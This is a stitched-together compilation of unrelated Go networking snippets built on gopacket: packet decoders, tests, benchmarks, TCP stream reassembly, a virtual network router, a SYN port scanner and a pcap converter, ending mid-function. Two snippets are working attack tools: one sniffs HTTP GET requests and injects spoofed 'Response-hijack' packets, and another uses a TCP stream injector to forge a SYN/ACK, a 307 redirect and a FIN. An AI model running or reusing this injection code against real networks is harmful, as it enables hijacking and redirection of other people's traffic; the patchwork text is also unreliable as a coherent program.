func (i *Sniffer) decodePackets() { var eth layers.Ethernet var ip layers.IPv4 var tcp layers.TCP var payload gopacket.Payload parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &tcp, &payload) decoded := make([]gopacket.LayerType, 0, 4) for { select { case <-i.stopDecodeChan: return case timedRawPacket := <-i.decodePacketChan: newPayload := new(gopacket.Payload) payload = *newPayload err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded) if err != nil { continue } flow := types.NewTcpIpFlowFromFlows(ip.NetworkFlow(), tcp.TransportFlow()) packetManifest := types.PacketManifest{ Timestamp: timedRawPacket.Timestamp, Flow: flow, RawPacket: timedRawPacket.RawPacket, IP: ip, TCP: tcp, Payload: payload, } i.dispatcher.ReceivePacket(&packetManifest) } } }
func makeTestPacket() []byte { var testSeq uint32 = 12345 buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } eth := layers.Ethernet{ SrcMAC: net.HardwareAddr{0xde, 0xad, 0xbe, 0xee, 0xee, 0xff}, DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: testSeq, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, ð, &ip, &tcp) packetData := buf.Bytes() return packetData }
// getPacketFlow returns a TcpIpFlow struct given a byte array packet func NewTcpIpFlowFromPacket(packet []byte) (*TcpIpFlow, error) { var ip layers.IPv4 var tcp layers.TCP decoded := []gopacket.LayerType{} parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp) err := parser.DecodeLayers(packet, &decoded) if err != nil { return &TcpIpFlow{}, err } return &TcpIpFlow{ ipFlow: ip.NetworkFlow(), tcpFlow: tcp.TransportFlow(), }, nil }
func BenchmarkMultiStreamGrow(b *testing.B) { t := layers.TCP{ SrcPort: 1, DstPort: 2, Seq: 0, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}}, } a := NewAssembler(NewStreamPool(&testFactory{})) for i := 0; i < b.N; i++ { t.SrcPort = layers.TCPPort(i) a.Assemble(netFlow, &t) t.Seq += 10 } }
func BenchmarkSingleStreamLoss(b *testing.B) { t := layers.TCP{ SrcPort: 1, DstPort: 2, SYN: true, Seq: 1000, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}}, } a := NewAssembler(NewStreamPool(&testFactory{})) for i := 0; i < b.N; i++ { a.Assemble(netFlow, &t) t.SYN = false t.Seq += 11 } }
func TestGetOverlapRingsWithZeroRings(t *testing.T) { ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, } tcp.SetNetworkLayerForChecksum(&ip) payload := gopacket.Payload([]byte{1, 2, 3, 4}) p := types.PacketManifest{ IP: ip, TCP: tcp, Payload: payload, } options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) serverFlow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) clientFlow := serverFlow.Reverse() conn.serverFlow = serverFlow conn.clientFlow = clientFlow head, tail := getOverlapRings(&p, serverFlow, conn.ClientStreamRing) if head == nil || tail == nil { return } else { t.Fail() } return }
func sendPacket(handle *pcap.Handle, sMac, dMac net.HardwareAddr, sIp, dIp net.IP, sPort, dPort layers.TCPPort, IpId uint16, IpTtl uint8, TcpSeq, ack uint32, WindowsSize uint16, data []byte) error { eth := layers.Ethernet{ SrcMAC: sMac, DstMAC: dMac, EthernetType: layers.EthernetTypeIPv4, } ip4 := layers.IPv4{ SrcIP: sIp, DstIP: dIp, Id: IpId, Flags: layers.IPv4DontFragment, Version: 4, TTL: IpTtl, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: sPort, DstPort: dPort, Seq: TcpSeq, ACK: true, Ack: ack, Window: WindowsSize, PSH: true, // 立刻处理 } if len(data) == 0 { tcp.RST = true } tcp.SetNetworkLayerForChecksum(&ip4) buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } payload := gopacket.Payload(data) if err := gopacket.SerializeLayers(buf, opts, ð, &ip4, &tcp, payload); err != nil { return err } return handle.WritePacketData(buf.Bytes()) }
func BenchmarkMultiStreamConn(b *testing.B) { t := layers.TCP{ SrcPort: 1, DstPort: 2, Seq: 0, SYN: true, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}}, } a := NewAssembler(NewStreamPool(&testFactory{})) for i := 0; i < b.N; i++ { t.SrcPort = layers.TCPPort(i) a.Assemble(netFlow, &t) if i%65536 == 65535 { if t.SYN { t.SYN = false t.Seq += 1 } t.Seq += 10 } } }
func TestNewTcpIpFlowFromPacket(t *testing.T) { buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: 123, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, &ip, &tcp) packetData := buf.Bytes() flow1, err := NewTcpIpFlowFromPacket(packetData) ipFlow2, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow2, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow2 := NewTcpIpFlowFromFlows(ipFlow2, tcpFlow2) if err != nil && !flow2.Equal(flow1) { t.Error("NewTcpIpFlowFromPacket fail") t.Fail() } flow1, err = NewTcpIpFlowFromPacket([]byte{1, 2, 3, 4, 5, 6, 7}) if err == nil || !flow1.Equal(&TcpIpFlow{}) { t.Error("NewTcpIpFlowFromPacket fail") t.Fail() } }
func BenchmarkSingleStreamSkips(b *testing.B) { t := layers.TCP{ SrcPort: 1, DstPort: 2, SYN: true, Seq: 1000, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3, 4, 5, 6, 7, 8, 9, 0}}, } a := NewAssembler(NewStreamPool(&testFactory{})) skipped := false for i := 0; i < b.N; i++ { if i%10 == 9 { t.Seq += 10 skipped = true } else if skipped { t.Seq -= 20 } a.Assemble(netFlow, &t) if t.SYN { t.SYN = false t.Seq++ } t.Seq += 10 if skipped { t.Seq += 10 skipped = false } } }
func TestSequenceFromPacket(t *testing.T) { var testSeq uint32 = 12345 buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: testSeq, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, &ip, &tcp) packetData := buf.Bytes() seq, err := SequenceFromPacket(packetData) if err != nil && seq != testSeq { t.Error("SequenceFromPacket failed") t.Fail() } seq, err = SequenceFromPacket([]byte{1, 2, 3}) if err == nil { t.Error("SequenceFromPacket should have failed") t.Fail() } }
func (r *RawSocketServer) injectPacketFromDst(tcpLayer *layers.TCP, rawBytes []byte) error { // Preparing ipLayer. ipLayer := &layers.IPv4{ SrcIP: r.dst.ip, DstIP: r.src.ip, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } options := gopacket.SerializeOptions{ ComputeChecksums: true, FixLengths: true, } tcpLayer.SrcPort = r.dst.port tcpLayer.DstPort = r.src.port tcpLayer.Window = r.window tcpLayer.Ack = r.ack tcpLayer.Seq = r.seq tcpLayer.SetNetworkLayerForChecksum(ipLayer) // And create the packet with the layers buffer := gopacket.NewSerializeBuffer() gopacket.SerializeLayers(buffer, options, ipLayer, tcpLayer, gopacket.Payload(rawBytes), ) outgoingPacket := buffer.Bytes() p := tuntap.Packet{ Protocol: 0x800, Truncated: false, Packet: outgoingPacket, } return r.iface.WritePacket(&p) }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } inactive.SetImmediateMode(true) if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { if tcpLayer.(*layers.TCP).DstPort != 80 { continue } if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST { continue } data := string(tcpLayer.(*layers.TCP).LayerPayload()) if !strings.HasPrefix(data, "GET") { continue } fmt.Println("I got GET packet!") ethLayer := packet.Layer(layers.LayerTypeEthernet) eth := layers.Ethernet{ SrcMAC: ethLayer.(*layers.Ethernet).DstMAC, DstMAC: ethLayer.(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4Layer := packet.Layer(layers.LayerTypeIPv4) ipv4 := layers.IPv4{ Version: ipv4Layer.(*layers.IPv4).Version, SrcIP: ipv4Layer.(*layers.IPv4).DstIP, DstIP: ipv4Layer.(*layers.IPv4).SrcIP, TTL: 77, Id: ipv4Layer.(*layers.IPv4).Id, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: tcpLayer.(*layers.TCP).DstPort, DstPort: tcpLayer.(*layers.TCP).SrcPort, PSH: true, ACK: true, FIN: true, Seq: tcpLayer.(*layers.TCP).Ack, Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)), Window: 0, } tcp.SetNetworkLayerForChecksum(&ipv4) data = `HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Jan 2016 13:09:19 GMT Content-Type: text/plain;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store Pragrma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Content-Length: 7 Stupid!` // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil { fmt.Println(err) } if err := handle.WritePacketData(buf.Bytes()); err != nil { fmt.Println(err) } fmt.Println("I sent Response-hijack packet!") } } // dumpcommand.Run(handle) }
// AssembleWithTimestamp reassembles the given TCP packet into its appropriate // stream. // // The timestamp passed in must be the timestamp the packet was seen. For // packets read off the wire, time.Now() should be fine. For packets read from // PCAP files, CaptureInfo.Timestamp should be passed in. This timestamp will // affect which streams are flushed by a call to FlushOlderThan. // // Each Assemble call results in, in order: // // zero or one calls to StreamFactory.New, creating a stream // zero or one calls to Reassembled on a single stream // zero or one calls to ReassemblyComplete on the same stream func (a *Assembler) AssembleWithTimestamp(netFlow gopacket.Flow, t *layers.TCP, timestamp time.Time) { // Ignore empty TCP packets if !t.SYN && !t.FIN && !t.RST && len(t.LayerPayload()) == 0 { return } a.ret = a.ret[:0] key := key{netFlow, t.TransportFlow()} var conn *connection // This for loop handles a race condition where a connection will close, // lock the connection pool, and remove itself, but before it locked the // connection pool it's returned to another Assemble statement. This should // loop 0-1 times for the VAST majority of cases. for { conn = a.connPool.getConnection( key, !t.SYN && len(t.LayerPayload()) == 0, timestamp) if conn == nil { if *debugLog { log.Printf("%v got empty packet on otherwise empty connection", key) } return } conn.mu.Lock() if !conn.closed { break } conn.mu.Unlock() } if conn.lastSeen.Before(timestamp) { conn.lastSeen = timestamp } seq, bytes := Sequence(t.Seq), t.Payload if conn.nextSeq == invalidSequence { // Handling the first packet we've seen on the stream. skip := 0 if !t.SYN { // don't add 1 since we're just going to assume the sequence number // without the SYN packet. // stream was picked up somewhere in the middle, so indicate that we // don't know how many packets came before it. conn.nextSeq = seq.Add(len(bytes)) skip = -1 } else { // for SYN packets, also increment the sequence number by 1 conn.nextSeq = seq.Add(len(bytes) + 1) } a.ret = append(a.ret, tcpassembly.Reassembly{ Bytes: bytes, Skip: skip, Start: t.SYN, Seen: timestamp, }) a.insertIntoConn(t, conn, timestamp) } else if diff := conn.nextSeq.Difference(seq); diff > 0 { a.insertIntoConn(t, conn, timestamp) } else { bytes, conn.nextSeq = byteSpan(conn.nextSeq, seq, bytes) a.ret = append(a.ret, tcpassembly.Reassembly{ Bytes: bytes, Skip: 0, End: t.RST || t.FIN, Seen: timestamp, }) } if len(a.ret) > 0 { a.sendToConnection(conn) } conn.mu.Unlock() }
func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) { // fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String()) defer pkt.Release() var err error if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) { // ignore return } if pkt.DstHost == nil { // ignore return } if !pkt.DstHost.Up { log.Printf("destination is down: %s", pkt.DstHost.Name) // ignore return } var ( srcIP net.IP dstIP net.IP srcPort = uint16(pkt.TCP.SrcPort) dstPort = uint16(pkt.TCP.DstPort) ) if pkt.IPv4 != nil { srcIP = CloneIP(pkt.IPv4.SrcIP.To16()) dstIP = CloneIP(pkt.IPv4.DstIP.To16()) } else if pkt.IPv6 != nil { srcIP = CloneIP(pkt.IPv6.SrcIP.To16()) dstIP = CloneIP(pkt.IPv6.DstIP.To16()) } else { log.Printf("invalid protocol") // ignore return } route := vnet.routes.GetTable().Lookup( protocols.TCP, srcIP, dstIP, srcPort, dstPort) if route == nil { rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort) if !found { log.Printf("no rule") // ignore return } var ( ruleDstIP = rule.DstIP ruleDstPort = rule.DstPort hostIP net.IP hostPort uint16 ) if ruleDstIP != nil { hostIP = dstIP hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(hostIP, hostPort) r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort) r.SetOutboundDestination(ruleDstIP, rule.DstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } ruleDstIP = vnet.system.GatewayIPv4() ruleDstPort = vnet.proxy.TCPPort } if ruleDstIP == nil { gateway := vnet.hosts.GetTable().LookupByName("gateway") if gateway == nil || !gateway.Up { log.Printf("no gateway") // ignore return } if dstIP.To4() != nil { if len(gateway.IPv4Addrs) > 0 { ruleDstIP = gateway.IPv4Addrs[0] } } else { if len(gateway.IPv6Addrs) > 0 { ruleDstIP = gateway.IPv6Addrs[0] } } } if ruleDstIP == nil { log.Printf("no destination ip") // ignore return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(srcIP, srcPort) r.SetInboundDestination(dstIP, dstPort) r.SetOutboundSource(hostIP, hostPort) r.SetOutboundDestination(ruleDstIP, ruleDstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } } if route == nil { log.Printf("no route") // ignore return } var ( eth layers.Ethernet tcp layers.TCP ) eth = *pkt.Eth eth.SrcMAC = vnet.system.ControllerMAC() eth.DstMAC = vnet.system.GatewayMAC() tcp = *pkt.TCP tcp.SrcPort = layers.TCPPort(route.Outbound.SrcPort) tcp.DstPort = layers.TCPPort(route.Outbound.DstPort) if route.Outbound.DstIP.To4() != nil { ip := layers.IPv4{ SrcIP: route.Outbound.SrcIP.To4(), DstIP: route.Outbound.DstIP.To4(), Version: 4, Protocol: layers.IPProtocolTCP, TTL: 64, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } else { ip := layers.IPv6{ SrcIP: route.Outbound.SrcIP.To16(), DstIP: route.Outbound.DstIP.To16(), Version: 4, NextHeader: layers.IPProtocolTCP, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } route.RoutedPacket(now, len(pkt.buf)) }
// AssembleWithTimestamp reassembles the given TCP packet into its appropriate // stream. // // The timestamp passed in must be the timestamp the packet was seen. // For packets read off the wire, time.Now() should be fine. For packets read // from PCAP files, CaptureInfo.Timestamp should be passed in. This timestamp // will affect which streams are flushed by a call to FlushOlderThan. // // Each Assemble call results in, in order: // // zero or one calls to StreamFactory.New, creating a stream // zero or one calls to Reassembled on a single stream // zero or one calls to ReassemblyComplete on the same stream func (a *Assembler) AssembleWithTimestamp(netFlow gopacket.Flow, t *layers.TCP, timestamp time.Time) { // Ignore empty TCP packets if !t.SYN && !t.FIN && !t.RST && len(t.LayerPayload()) == 0 { if *debugLog { log.Println("ignoring useless packet") } return } a.ret = a.ret[:0] key := key{netFlow, t.TransportFlow()} var conn *connection // This for loop handles a race condition where a connection will close, lock // the connection pool, and remove itself, but before it locked the connection // pool it's returned to another Assemble statement. This should loop 0-1 // times for the VAST majority of cases. for { conn = a.connPool.getConnection( key, !t.SYN && len(t.LayerPayload()) == 0, timestamp) if conn == nil { if *debugLog { log.Printf("%v got empty packet on otherwise empty connection", key) } return } conn.mu.Lock() if !conn.closed { break } conn.mu.Unlock() } if conn.lastSeen.Before(timestamp) { conn.lastSeen = timestamp } seq, bytes := Sequence(t.Seq), t.Payload if conn.nextSeq == invalidSequence { if t.SYN { if *debugLog { log.Printf("%v saw first SYN packet, returning immediately, seq=%v", key, seq) } a.ret = append(a.ret, Reassembly{ Bytes: bytes, Skip: 0, Start: true, Seen: timestamp, }) conn.nextSeq = seq.Add(len(bytes) + 1) } else { if *debugLog { log.Printf("%v waiting for start, storing into connection", key) } a.insertIntoConn(t, conn, timestamp) } } else if diff := conn.nextSeq.Difference(seq); diff > 0 { if *debugLog { log.Printf("%v gap in sequence numbers (%v, %v) diff %v, storing into connection", key, conn.nextSeq, seq, diff) } a.insertIntoConn(t, conn, timestamp) } else { bytes, conn.nextSeq = byteSpan(conn.nextSeq, seq, bytes) if *debugLog { log.Printf("%v found contiguous data (%v, %v), returning immediately", key, seq, conn.nextSeq) } a.ret = append(a.ret, Reassembly{ Bytes: bytes, Skip: 0, End: t.RST || t.FIN, Seen: timestamp, }) } if len(a.ret) > 0 { a.sendToConnection(conn) } conn.mu.Unlock() }
// scan scans the dst IP address of this scanner. func (s *scanner) scan() error { // First off, get the MAC address we should be sending packets to. hwaddr, err := s.getHwAddr() if err != nil { return err } // Construct all the network layers we need. eth := layers.Ethernet{ SrcMAC: s.iface.HardwareAddr, DstMAC: hwaddr, EthernetType: layers.EthernetTypeIPv4, } ip4 := layers.IPv4{ SrcIP: s.src, DstIP: s.dst, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: 54321, DstPort: 0, // will be incremented during the scan SYN: true, } tcp.SetNetworkLayerForChecksum(&ip4) // Create the flow we expect returning packets to have, so we can check // against it and discard useless packets. ipFlow := gopacket.NewFlow(layers.EndpointIPv4, s.dst, s.src) start := time.Now() for { // Send one packet per loop iteration until we've sent packets // to all of ports [1, 65535]. if tcp.DstPort < 65535 { start = time.Now() tcp.DstPort++ if err := s.send(ð, &ip4, &tcp); err != nil { log.Printf("error sending to port %v: %v", tcp.DstPort, err) } } // Time out 5 seconds after the last packet we sent. if time.Since(start) > time.Second*5 { log.Printf("timed out for %v, assuming we've seen all we can", s.dst) return nil } // Read in the next packet. data, _, err := s.handle.ReadPacketData() if err == pcap.NextErrorTimeoutExpired { continue } else if err != nil { log.Printf("error reading packet: %v", err) continue } // Parse the packet. We'd use DecodingLayerParser here if we // wanted to be really fast. packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) // Find the packets we care about, and print out logging // information about them. All others are ignored. if net := packet.NetworkLayer(); net == nil { // log.Printf("packet has no network layer") } else if net.NetworkFlow() != ipFlow { // log.Printf("packet does not match our ip src/dst") } else if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer == nil { // log.Printf("packet has not tcp layer") } else if tcp, ok := tcpLayer.(*layers.TCP); !ok { // We panic here because this is guaranteed to never // happen. panic("tcp layer is not tcp layer :-/") } else if tcp.DstPort != 54321 { // log.Printf("dst port %v does not match", tcp.DstPort) } else if tcp.RST { log.Printf(" port %v closed", tcp.SrcPort) } else if tcp.SYN && tcp.ACK { log.Printf(" port %v open", tcp.SrcPort) } else { // log.Printf("ignoring useless packet") } } }
func main() { defer util.Run()() var eth layers.Ethernet var dot1q layers.Dot1Q var ip4 layers.IPv4 var tcp layers.TCP var payload gopacket.Payload r := rand.New(rand.NewSource(time.Now().UnixNano())) hijackSeq := r.Uint32() decoded := make([]gopacket.LayerType, 0, 4) streamInjector := attack.TCPStreamInjector{} err := streamInjector.Init("0.0.0.0") if err != nil { panic(err) } handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever) if err != nil { log.Fatal("error opening pcap handle: ", err) } if err := handle.SetBPFFilter(*filter); err != nil { log.Fatal("error setting BPF filter: ", err) } parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &dot1q, &ip4, &tcp, &payload) log.Print("collecting packets...\n") for { data, ci, err := handle.ZeroCopyReadPacketData() if err != nil { log.Printf("error getting packet: %v %s", err, ci) continue } err = parser.DecodeLayers(data, &decoded) if err != nil { log.Printf("error decoding packet: %v", err) continue } // craft a response to the client // here we reuse the client's header // by swapping addrs and ports // swap ip addrs srcip := ip4.SrcIP ip4.SrcIP = ip4.DstIP ip4.DstIP = srcip // swap ports srcport := tcp.SrcPort tcp.SrcPort = tcp.DstPort tcp.DstPort = srcport // empty payload for SYN/ACK handshake completion streamInjector.Payload = []byte("") seq := tcp.Seq tcp.Seq = hijackSeq tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.ACK = true tcp.SYN = true tcp.RST = false err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("SYN/ACK packet sent!\n") // send rediction payload redirect := []byte("HTTP/1.1 307 Temporary Redirect\r\nLocation: http://127.0.0.1/?\r\n\r\n") streamInjector.Payload = redirect tcp.PSH = true tcp.SYN = false tcp.ACK = true tcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1)) tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("redirect packet sent!\n") // send FIN streamInjector.Payload = []byte("") tcp.FIN = true tcp.SYN = false tcp.ACK = false tcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2)) err = streamInjector.SetIPLayer(ip4) if err != nil { panic(err) } streamInjector.SetTCPLayer(tcp) err = streamInjector.Write() if err != nil { panic(err) } log.Print("FIN packet sent!\n") } }
func (i *Filter) decodePackets() { var eth layers.Ethernet var ip layers.IPv4 var ipv6 layers.IPv6 var tcp layers.TCP var udp layers.UDP var payload gopacket.Payload anomalyTest := make(chan *Pan) alertChan := make(chan *AlertMessage) panClose := make(chan *PanCtl) //_, IPNet, err := net.ParseCIDR("10.240.0.0/16") _, IPNet, err := net.ParseCIDR(i.options.FilterIpCIDR) if err != nil { log.Errorf("Error parsing CIDR: %#v", err) i.Stop() } decodedLen := 6 parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ð, &ip, &ipv6, &tcp, &udp, &payload) decoded := make([]gopacket.LayerType, 0, decodedLen) // Initialize wherefore goroutines piChan := PanopticonInfo() /* for at := 0; at < 10; at++ { } */ go i.AnomalyTester(anomalyTest, piChan, alertChan) go i.AlertSlack(alertChan) go i.PanRemover(panClose) for { select { case <-i.stopDecodeChan: return case timedRawPacket := <-i.decodePacketChan: newPayload := new(gopacket.Payload) payload = *newPayload err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded) if err != nil { continue } flow := types.NewTcpIpFlowFromFlows(ip.NetworkFlow(), tcp.TransportFlow()) dcopy := make([]gopacket.LayerType, decodedLen, decodedLen) if dc := copy(dcopy, decoded); dc <= 0 { log.Errorf("Copy of decoded layers failed: %d", dc) continue } packetManifest := types.PacketManifest{ Timestamp: timedRawPacket.Timestamp, Flow: flow, RawPacket: timedRawPacket.RawPacket, DecodedLayers: dcopy, Eth: eth, IP: ip, IPv4: ip, IPv6: ipv6, TCP: tcp, UDP: udp, Payload: payload, } //Short circut to only watch traffic heading in one direction //if FilterExternal(&packetManifest) == nil { if i.options.FilterSrc { if i.options.FilterBool && IPNet.Contains(packetManifest.IP.SrcIP) { continue } } if i.options.FilterDst { if i.options.FilterBool && IPNet.Contains(packetManifest.IP.DstIP) { continue } } //Pass packet manifest to the PM-Monitor function //TODO: Improve the flow around packet processing from the sniffer/splitter i.PMMonitor(&packetManifest, anomalyTest, panClose) } } }
// NewTcpIpFlowFromLayers given IPv4 and TCP layers it returns a TcpIpFlow func NewTcpIpFlowFromLayers(ipLayer layers.IPv4, tcpLayer layers.TCP) *TcpIpFlow { return &TcpIpFlow{ ipFlow: ipLayer.NetworkFlow(), tcpFlow: tcpLayer.TransportFlow(), } }
// Given an EvePacket, convert the payload to a PCAP faking out the // headers as best we can. // // A buffer containing the 1 packet pcap file will be returned. func EvePayloadToPcap(event *EveEvent) ([]byte, error) { buffer := gopacket.NewSerializeBuffer() options := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } payloadLayer := gopacket.Payload(event.Payload.Bytes()) payloadLayer.SerializeTo(buffer, options) srcIp := net.ParseIP(event.SrcIP) if srcIp == nil { return nil, fmt.Errorf("Failed to parse IP address %s.", event.SrcIP) } dstIp := net.ParseIP(event.DstIP) if dstIp == nil { return nil, fmt.Errorf("Failed to parse IP address %s.", event.DstIP) } proto, err := ProtoNumber(event.Proto) if err != nil { return nil, err } switch proto { case layers.IPProtocolTCP: // Could probably fake up a better TCP layer here. tcpLayer := layers.TCP{ SrcPort: layers.TCPPort(event.SrcPort), DstPort: layers.TCPPort(event.DstPort), } tcpLayer.SerializeTo(buffer, options) break case layers.IPProtocolUDP: udpLayer := layers.UDP{ SrcPort: layers.UDPPort(event.SrcPort), DstPort: layers.UDPPort(event.DstPort), } udpLayer.SerializeTo(buffer, options) break case layers.IPProtocolICMPv4: icmpLayer := layers.ICMPv4{ TypeCode: layers.CreateICMPv4TypeCode( event.IcmpType, event.IcmpCode), Id: 0, Seq: 0, } icmpLayer.SerializeTo(buffer, options) break case layers.IPProtocolICMPv6: icmp6Layer := layers.ICMPv6{ TypeCode: layers.CreateICMPv6TypeCode( event.IcmpType, event.IcmpCode), } icmp6Layer.SerializeTo(buffer, options) break default: return nil, fmt.Errorf("Unsupported protocol %d.", proto) } isIp6 := dstIp.To4() == nil if !isIp6 { ipLayer := layers.IPv4{ SrcIP: srcIp, DstIP: dstIp, Version: 4, Protocol: proto, TTL: 64, } ipLayer.SerializeTo(buffer, options) } else { ip6Layer := layers.IPv6{ Version: 6, SrcIP: srcIp, DstIP: dstIp, } 